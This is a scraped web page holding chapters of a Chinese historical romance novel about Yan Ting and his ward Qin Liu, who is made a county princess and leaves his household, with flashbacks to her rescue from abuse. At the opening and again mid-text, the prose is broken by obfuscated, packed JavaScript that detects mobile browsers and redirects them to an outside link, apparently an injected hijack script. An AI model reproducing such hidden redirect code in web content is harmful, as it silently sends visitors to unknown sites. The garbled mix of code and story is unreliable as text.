l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341218|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏庭啜了一口,“嗯,确实清香。” 安夫人一脸慈爱地看向晏庭,“六郎啊,不知你是否婚配?” 晏庭摇头,“小六功未就,不敢成家。” “你也老大不小了,王夫人操劳一生,身子骨不如从前硬朗,不如这样,师娘帮你从长安的娘子中相看如何?” 晏庭起身,向着师娘谦恭地弯腰,“晚辈不敢让师娘多心,谢过师娘好意。” “你这……”安夫人忿忿然噤声,“行吧,幸好郎君是不用人愁的。” 一个小厮过来小声禀告,“夫人,娘子回来了。” 安夫人蹙额,“阿青?她回家做甚?” “是阿青小妹吗?”晏庭突然出声。 “诶是的,她三年前就出嫁了,你还没喝过她喜酒呢。想必是想你师长和我了,那我去看看?” “师娘慢走,我再在床前守片刻,师长若不醒,我再向您辞别。” 房中安静半晌,晏庭就着茶桌,找出了小琉的课业。写得虽不出彩,粗疏是粗疏了些,但也不至于丙等。那为何钟天说那番话? 只有等师长醒来,他才能细细地问了。 敲门声兀地响起。 “六哥哥,是我,阿青。” 晏庭开门,外面站着个娘子,挽着妇人髻,眉眼成熟。 “阿青,好久不见。” 阿青喘着粗气,让出几步,晏庭关门出来,二人去了廊庑下叙旧。 昔日旧友相聚,不知从何说起。 “六哥哥,我……我成亲了。”阿青说完,目不转睛盯住眼前人,似乎想从他的眼里看出其他情绪,可惜什么都没有。 晏庭点头,“我听师娘说过,阿青已嫁做人妇。”说着忍不住感慨,“岁月不饶人,似白驹过隙,我们都变了。” 阿青笑了,抬望远处,“是啊,岁月忽已晚。”盯着天边,想起一些事情,眼眶渐渐湿润,又转而略带愠意,嘴角似笑非笑。 “六哥哥怎么忽然回京了,当初走得令我们措手不及,回来似乎也……悄无声息。” 晏庭右手背在身后,认同道:“确实,来去都匆忙,君命难违。” 阿青感到他似乎不想多说,只好挑些旧时二人共同的过往谈谈。 “阿爹当初就说六哥哥天资聪颖,定大有可为,我也觉得是,六郎的才华,长安的郎君望其项背,八年不见,六哥哥果然依旧是翩翩公子。”而我们终究物是人非,说着低下头去。 晏庭笑了,“都已过去,天下人才如过江之鲫济济汇聚长安,我已排不上名号了。” 时辰已不早了,晏庭决定告辞,“师长若醒了,可否去晏府通个信,好让我和书塾一通弟子不再担忧。” “好,六哥哥慢走。”阿青叫了个小厮送他出去。 今日不是什么特殊日子,她就是和家里的他过不下去了而已。心里憋屈,想回家看看阿爹和阿娘,就回来了,不承想竟见到了晏庭。 阿青看着他离开的背影,泪水渐渐模糊了眼。 他是她懵懂时期的疏朗明月,遥遥挂在枝头,可望而不可及。她对他动过凡心,她是真的爱慕过六哥哥。 可惜…… “阿青,你看向六郎的眼神和六郎看向你的眼神完全就是两种。母亲如你这般大时,也曾暗许芳心。我知你对晏家六郎有情,但郎未曾有意啊。望你及时醒悟,莫辜负大好岁月。” 阿娘的一番话及时泼醒了她,可她还未曾表明心意,他就投军了。 心灰意冷之下,她便答应了家里的相看,属意一家门第还不错的,便就此结了亲。 可因为子嗣的事情,家里一团乱麻,鸡飞狗跳。明明不是她的问题,为何又来怨怪她。 若重来一次,或许六哥哥对她有意呢? 她的结局是否会不一样? 11. 县主府 果不其然,宗正寺办事很利索,秦琉受封县主的事宜几日就办下来了。 按照大燕朝的礼制,县主有单独的县主府、由朝廷配置的佐吏以及亲王派来的总管,其余丫鬟、婆子奴仆更不必说。这就意味着,秦琉估摸要离开晏家。 “德阳县主,领旨谢恩吧。” 秦琉感到飘飘然,如在云雾中。泥潭里深陷久了,陡然升到云彩里,恍惚起来分不清梦境现实。 通事舍人很通情达理,将圣旨递到一旁的侍女,笑道:“县主赶紧收拾吧,早日移居县主府我也好早日跟上头交差,万一魏王和魏王妃回京,一瞧还以为是我们怠慢了县主呢。” 晏庭赶紧上前来稳住秦琉,挡在她身前,“舍人辛苦了,县主年少,不曾见过这些阵仗,请容县主一些时日适应,晏家一家子人定亲自恭送县主离府。” 晏家好歹是仕宦之家,舍人愿意给几分薄面,宣旨后就离府而去,晏家的几个男主人前去相送。 虽然秦琉早有离开的心,但堂而皇之地,在众人眼皮子底下离开她始料未及。 更局促不安的是,要与晏家的人上演依依惜别的戏本。 王夫人自移交管家大权后,便只顾焚香拜佛,鲜少过问家宅事了,秦琉来晏家的那年,晏家几个长辈连同晚辈都不允许,说若秦琉是个无家无籍的流民,哪怕是奴籍也好,晏家还没沦落到养一个孤女都成问题,可她千不该万不该是秦家的娘子。 秦家自家的孩子不愿意养,晏家抱去养了算什么? 秦家的朝官若是被谏官参一笔,岂不是还要怪罪到晏家头上? 秦家的人不在乎,晏庭也不在乎。久而久之,人们都道秦家大郎君一房子嗣皆无,怪唏嘘的。 这次县主封赏,不知会在长安卷起多少风浪。人们会惊叹道:秦相的女儿尚在人世,还是在晏家长大。 秦琉来晏家的时候,无人夹道欢迎,要走了,人人倒是来欢送了。 “琉丫头。”王夫人上前喊了她一声,秦琉犹豫下,叫了声:“祖母。” 不知是否因为晏庭回家的缘故,王夫人的精神头儿越发好了,走向秦琉的几步稳健踏实,拍了拍她的手,一脸慈爱地看向她:“你是个实心的好孩子,我没教养过你,没让你到身前侍奉,你还愿唤我一声祖母。虽说魏王府成了你以后的倚靠,但皇家的关系有时不如表面那么平静。晏庭这孩子,你以后尽管差遣,这晏家别的人不一定对你有甚感情,但六郎对你的怜爱那是天地可鉴的。你的数声六叔,可是没白喊的。” 当初晏庭违背众人意愿,非要养罪臣秦威远的女儿,秦琉当时才十岁。养在晏家深闺之中,流言三人成虎,王夫人不是没怀疑过晏庭收养秦琉的本心,问他是否真像底下人传的那样,把秦琉当童养媳收养? 晏庭发了好大一通火,收拾了那些乱嚼舌根的婆子,向母亲坦言:“收养秦琉,仅仅因为秦相有恩于我,不愿贤臣之女受欺。” 王夫人信儿子为人磊落,但堵不了悠悠众口。为了打消众人猜忌,晏庭与远在祁县的晏家老宅的黄娘子定了亲。 后来黄娘子久在热孝,晏庭又远走边疆,婚事也就此作罢。 老夫人想到过往,长叹一声,六郎而立之年还未成家,说来说去都是他自己选的路。 有晏家老夫人发话在前,其余的人也收了大演一场的虚情假意。 正堂下乌压压地站了晏家一大家子人,大房的柳夫人犹记得接风宴被搞得下不来台的窘样,便没去找秦琉送别,二房的罗夫人找准时机,拉着满不情愿的月娘凑到了秦琉跟前。 福了福身道: “秦小娘子,哦不,德阳县主,我们二房虽没什么大本事,但好歹在长安也有个一职半官,月娘也是打心底里尊重你,从没像大房的钟天那样找你麻烦不是?钟帆年纪小不懂事,若有得罪你的地方,还望你大人不记小人过,以后县主若有用得到二房的地方,我们定义不容辞。” 一番言语说得倒是情真意切,秦琉浅笑扶罗夫人起身,“罗夫人说笑了,您是我长辈,我尊敬您才是应该的。” “唉哟,县主别折煞老身了。”说着向月娘使了个眼色,月娘不情不愿从袖袋里拿出一锭银子,慢悠悠递给她,“县主的这袋银子我物归原主。” 秦琉回想,“这是……买簪子的钱?” 月娘点了点头。 秦琉推了回去,“这就不必了,玉簪既然是我打碎的,那就理应赔给你。” 月娘看了眼她娘,等候她娘发号施令,罗夫人讪笑道:“小孩子之间毛手毛脚的,碰到了多正常啊,哪能真要钱呢,这不是见外吗?”又将银子推了回去。 钱袋子就在几人之间推来推去。 秦琉不太会应付大人之间的人情世故,僵在原地。 这时晏庭送完客也回来了,来到秦琉身边问道:“这是做什么?” 听到六叔的声音,秦琉像是被针扎了,倏地缩回手。 罗夫人立马回应道:“唉哟没事,不过是小琉无意把月娘的玉簪摔了,小琉非得赔,要我说呀,就是小孩子之间的玩闹罢了,又不是故意的,没什么大不了的,月娘也是个不懂事的,竟真的收了小琉的钱,月娘已被我教训,正要还回来呢,哪知小琉不收。”这一下又将冲突的中心扔回了秦琉。 晏庭看了眼秦琉,她低头不语。 “二嫂的话在理,小孩子本心不坏,自家人谈钱伤感情。不若这样,银子就归还给小琉,但小琉毕竟摔了簪子,于月娘不公,我还月娘一个一模一样的玉簪如何?” 闻言秦琉立马抬头看向他,怎么还是麻烦上六叔了,这不是她本愿啊…… 罗夫人顿了顿,“这样也好,县主?那就各不相欠了?” 众人都在等她反应,秦琉点了点头。 月娘小声地蛐蛐:“又是让六叔帮忙。”罗夫人胳膊肘推了推月娘,月娘立马息声。 待众人散去,堂下只剩下他二人。 秦琉动了动嘴,“我……” “回荷姝院?”晏庭问她。 “嗯。”秦琉被打断,坦诚的勇气就像断线的珠子,很难再重新聚齐。 说话间,行到半路,秦琉不吐不快,咬了咬牙道:“六叔,是我打碎的玉簪,我不是成心的,这件事您没必要再护着我。我……我已经长大了。”您也不可能护我一辈子。 晏庭笑得胸腔震震,“作何说得那般严重?本就不是大事。一个簪子而已,说得天塌了似的。你若喜欢,我也可以给你买一个。” 可秦琉明明不是想说这个,“簪子是小事,那……那万一以后有大事呢,大到你护不住,晏家护不住,魏王……也护不住怎么办。”顿了顿,像是泄尽全身力气,“我即将要离开晏家了,您又不是我真六叔,以后的路,我终究得自己走。” 说到话末,越发坚定。 这语气晏庭察觉到了不对劲。 “小琉何意?发生了什么吗?” 小琉摇了摇头,“没什么,就是假设嘛,防患于未然。” 晏庭脚步停住,转身来郑重地说:“就算天塌下来了,我也会给你顶着,六叔何时食言过?自从把你从秦家接出来,我便向神明发誓,向你父亲请示照顾你。就算你往后出嫁,有了……夫君,我依旧是你六叔,这是你爹已经应允的。” 秦琉忍住眼睛的湿意,压住嗓子的哽咽,回应道:“嗯。” 二人回到荷姝院,秦琉看见忙碌的春芽和落霜正在为她收拾包袱。以前是秦琉自己想离开晏家,尔今是谁都在推她离开。 原来当着晏庭的面谈及分别,也并没有想象中那么伤心欲绝。 秦琉一脸平静与晏庭道别:“我……今日就得走吗?” 晏庭垂眸不语,清了清嗓子道:“也没有这么急,多住一晚何妨,弄得像晏家赶人似的。” “县主府的婢子奴役都是我托人精心挑选的,不过肯定不如已经用称手的。春芽和落霜会随你一同到县主府去,晏家若还有你看上的丫鬟,大可一同带了去。” 二人来到妆奁前,晏庭瞧见了他送她的玉璧,她没戴上。 “小琉,我为你系上玉璧如何?” 玉璧孤零零地躺在匣中,秦琉说道:“好。” 秦琉拿起玉璧放在了晏庭的一双大掌里,两相对比之下,他的一只手可以将她蜷缩的手包起来。晏庭心里轻笑一声,虽然小琉长大了,可明明还是这么小嘛,还是需要他保护。 玉璧被挂在了裙腰上,衬得秦琉的水绿襦裙仿佛流动摇曳的藻荇。 这就算真正的及笄吗?秦琉的心好似被这块玉璧抽动了。 也不知缘由,六叔挂好玉璧后,秦琉心里烽烟冒头,各个脏处闻烟肆起,拔刀相向,秦琉胸腔一阵翻江倒海。 似乎是岁月的回荡,八年前分别时未当面哭诉的眼泪,连同今日的,泄洪似的涌了出来。 “别哭。”晏庭拭去她脸上的涟涟泪珠,“荷姝院随时为你敞开,这里的一草一木、一砖一瓦都不会变,你何时想来就来。别忘了,你还得继续来晏家书塾求学呢,哪能轻易和我撇开。” 她知道六叔的一番话是在安慰她。 “你是堂堂正正天子亲封的德阳县主,总好比在晏家的一隅私院偷安,有魏王府的撑腰,往后你就是长安横着走的贵女。” 秦琉破涕而笑,“说得好像我能通天入地了,六叔真会说笑。”整顿好情绪,小琉继续道,“我不能给魏王惹去麻烦。我既然是晏家养大的,以后我的一言一行就代表了晏家女眷,我不能给晏家丢脸。”最重要的是不能让你失望。 晏庭坐在一旁的椅上,听到小琉的一番话摇了摇头,“我不需要你时时谨小慎微,随心而动就好,当然前提是你没有危险。人人都说远在江湖的恣意是自由,艳羡山高水远,天地广阔,可你本是世家女,若说繁华迷人眼,可你连真正的富贵都不曾体会,又何谈腐蚀心志。待你将真正的锦绣日子和恬淡炊野都体会过,再做决定也不迟,总之六叔都会支持你。” 两位主子进来后,春芽和落霜就出去了,春芽一直候在屋外,看着时辰越来越晚,门外提醒一下:“六郎君,小娘子,快酉时了,明早县主府的马车辰时便要到,还有好些包袱没收拾。” 门开晏庭出来了,嘱托她:“你和落霜已跟了小琉十年,往后你们得更加尽心竭力,去了县主府,你们就是县主身边的贴身丫鬟,比不得晏家,管家治下你们需得协助娘子,不必让她乏累。” “诶!”春芽听令后,似乎嘴里有话欲言又止,“六郎君才回来,这就要和娘子分开吗?” 晏庭没马上回答,而是长长叹了生气,“小琉毕竟是秦相的女儿,若不能名正言顺地活于世,秦相九泉之下难安。” 屋内烛火熹微,院内月色皎洁,晏庭坐在杏树下的石凳上饮酒。 这棵银杏还是他亲手栽的,当时觉得这院子着实空荡,本就人丁稀少,问了小琉意见后,便选了植银杏树。 晏家小辈多,孩子之间玩耍嬉闹也正常,晏庭也以为将小琉放在孩子间能令她及早适应。 怪他没仔细注意小琉的心思。 竟真的信了平时受欺负惯了的小琉会懂伤痛、懂倾诉、懂反抗。 他下值早,买了孩子们贪吃的酥酪,往书塾去。 几个孩子将秦琉团团围住,追问她:“你究竟叫什么名字?秦琉……还是晏琉啊?哈哈哈哈——” 几个孩子笑作一团,一个笑得喘不过气了,追问道:“还是叫秦琉吧,晏琉太难听了,你说是不是?二姓女?” 二姓女是他们给秦琉取的蔑称。 晏钟天跟着添油加醋,“对啊,她怎么配得上我晏家的姓氏。” 面对众人的嘲笑,秦琉默默忍受,她就是这么过来的,这些辱骂对于秦琉来说,算是微不足道的的羞辱了。毕竟只是受些嘴皮子功夫,不是真正的皮肉之苦。 皮肉的伤痛会反复结痂,再鞭笞开,深深打进她心里。寒冬腊月,再瘙痒难耐。 “又是这副死猪样,罢了。”众人取笑完,不顾乐子的感受欲拔腿走。 “等等。”晏庭的声音在门外响起。他推开虚掩的门,手里还提着一笼酥酪。 秦琉一直紧抓裙身的手,在听到晏庭的声音时,松开了。 当下氛围紧张,似黑云压城,晏庭把门关着,一字不发,放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341219|199336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦琉回荷姝院,与涉事的一众学生,静默共处了一个时辰。 有人不满要回家,他就摔砚台。 而后,放子归家后,晏庭一家家去拜访。晏庭时任殿中大监,在御前进侍,素有清誉。各家皆视其为座上宾,心里正疑惑为何事而来,他便直言了学堂里发生的事。 晏庭不拐弯抹角,也免了那些为官的虚礼。 晏庭登门之意,显而易见。子不教,父之过。父若不惩戒,那家教不严,纵儿女欺凌弱小、同窗的消息,明日便会传到谏官的耳朵里。 秦家的人在散播大房无人的谣言,与晏家交往的人中,即使有知道秦琉是秦威远之女的,也不放在心上。 晏庭做了这么多,无非是想让秦琉堂堂正正地活在长安,无需遮遮掩掩,她就是秦琉,秦家的嫡女。 秦家人得恭恭敬敬地迎她回家。 酒酣耳热,酒壶里的酒也一滴不剩。晏庭起身,脚步踉跄几下,扶住额头,突然觉得眼前一片模糊,甩了几下脑袋,阖眼片刻,再睁眼才一片清明。 晏庭心里默念,这是安宁祥和的长安,并非伏尸百万的战场。 捂住耳朵,踉踉跄跄回了西厢。 翌日天刚亮,秦琉早已洗漱好,等丫鬟婆子将所有包袱收拾好,秦琉就得和晏家正是辞别了。 晏庭昨夜虽小醉,但大脑中犹有公鸡报晓,和平日一样的时辰醒了。 晏家大门前,晏家除去忙着上值的晏大郎和二郎,其余各房的人皆出门相送。 晏庭仔细瞧着,小琉的裙腰前系着他买的玉璧。 昨夜似乎已经将离别的话说尽了,临行前反而一字说不出口了。 晏庭进前给她拢了拢大氅,将结系得愈发紧了,只说了两个字,“走吧。” 秦琉眨巴几下眼睛,犹犹豫豫道:“县主府就我一个人,偌大的宅子,我……我害怕。”似乎觉得这话太过娇气,又补充道,“六叔若觉得西厢狭小,县主府的大房子也随时为你敞开。” 晏庭嘴角微弯,轻笑出声,“你倒是时刻惦记着我,不错!小琉富贵了还不忘贫贱之交。” 六叔又在说笑!方才一丝伤感的眼泪硬生生挤了回去,秦琉轻轻拍了他一下,然后头也不回地上了马车。 车轮辘辘,马车的车窗探出一个人头,“六叔!”秦琉只是望着越来越远的人,渐渐到转弯再也看不见。 秦琉计谋得逞的那天,嘴角扬出了许久不见的弧度,她满心笑了,不是为秦家祖母的寿宴而喜,而是为终于逃离升天。 平常任人打骂的秦琉,那天也不知哪来的胆量,认准了晏庭,不顾一切的一撞,只为拯救她自己。 秦琉被拖去后院,二叔母命人把她牢牢禁锢住,质问她:“你跑去前厅做什么?你个上不台面的东西,想污了我秦家门楣吗?” 一旁的老嬷嬷上来献殷勤,“主母你当心受气了,就让老奴来代劳教训她吧。” 老嬷嬷脸上沟壑纵横,岁月的痕迹显得她格外阴狠,秦琉吓得泪流满面,求饶道:“我不敢了!我再也不敢了!您饶了我吧。”秦琉以为自己失算,就此要殒命在秦家了,爬着过去求二叔母的饶,血肉模糊的手攀在二叔母的襦裙上,声嘶力竭,“二叔母救我!” 二叔母嫌弃看了她一眼,嫌晦气叫人把她拉开。 秦琉绝望透顶,已经喊干的嘴巴再也发不出一丝声音。 就在一板子即将打下来时,小厮过来叫停了,“快停下!快停下!” 韦夫人怒斥道:“慌慌张张的,做什么?” 小厮小声道:“方才宴席上的晏家六郎又来了,说要带走秦琉娘子。”小厮看了眼廊下之人,瞥了一眼匆匆避开,不忍直视。 “什么?主君怎么说?” “主君赶紧让我过来命您停下,将人带去前厅。” 见秦琉一副半死不活的样子,韦氏也不敢直接带她上前厅,命几个丫鬟带她去洗漱妆点,自行先去了前厅。 秦琉不知道晏庭在前厅跟她的二叔、二叔母说了什么,她终于有了小姐样儿,被人服侍沐浴更衣,只不过穿上的又是下等婢子的衣服。 下人引着秦琉去了前厅,秦琉见到了半个时辰前的晏庭。他一身锦衣华服,面如冠玉,犹如救她于水火的玉面佛。 “就是她,既然你们说她是府里的丫鬟,那我买了去。”晏庭指了指秦琉。 秦威衡没料到随口一句遮掩的话,晏家这小子竟会当真? 余下宾客只想着多一事不如少一事,不管他人家宅事,怎么他非不知趣呢?非要刨根问底? 秦威衡也不敢得罪这晏家小儿,他刚从地方升任,朝中一片赞誉,是炙手可热的人物,连长孙氏都有拉拢之意。 “这位仁兄,咱们借一步说话?” “不必了,有话当场说吧,陛下召我,怕是有要事相商,咱们就长话短说,有事速速解决。” 秦威衡这下脸色终于有了松动,但秦琉是他大哥的女儿,哪有什么奴籍,若交不出奴籍,岂不是家有来路不明的人口? 真是一句话把自己前后路都走死了。 晏庭又不是好糊弄的主,秦威衡追悔莫及。 晏庭看了缩在一旁颤颤巍巍的秦琉,从她来了,她便一直盯着堂上的他,这是求生的强烈欲望。 堂堂秦家的嫡女,却被如此糟践,这秦威衡简直不配为人!晏庭狠狠剜了他一眼,沉声道:“怎么?秦家是想直接将人送我,不要钱?” 秦威衡心领神会,“对对对!一个丫鬟罢了,晏六郎若是瞧上了,送你便是。” 晏庭被他言语的轻佻气得咬紧了牙齿。 “那就多谢了。”晏庭脱下外袍,披在了秦琉身上。 秦琉堪堪及他腰,披着晏庭的外袍,大片衣服拖在地上。 秦琉跟着晏庭往府外走,走了一段路,衣摆拖得脏脏的。 晏庭步子迈得大,为了她跟上,放慢了步调,须臾袖子好像被人拉了下。 秦琉从盖着的帽子里露出一张小脸,满脸歉意,细声说:“你的衣服被我弄脏了。” 晏庭没看一眼袍子,只说:“脏了就脏了,你别受凉就行。”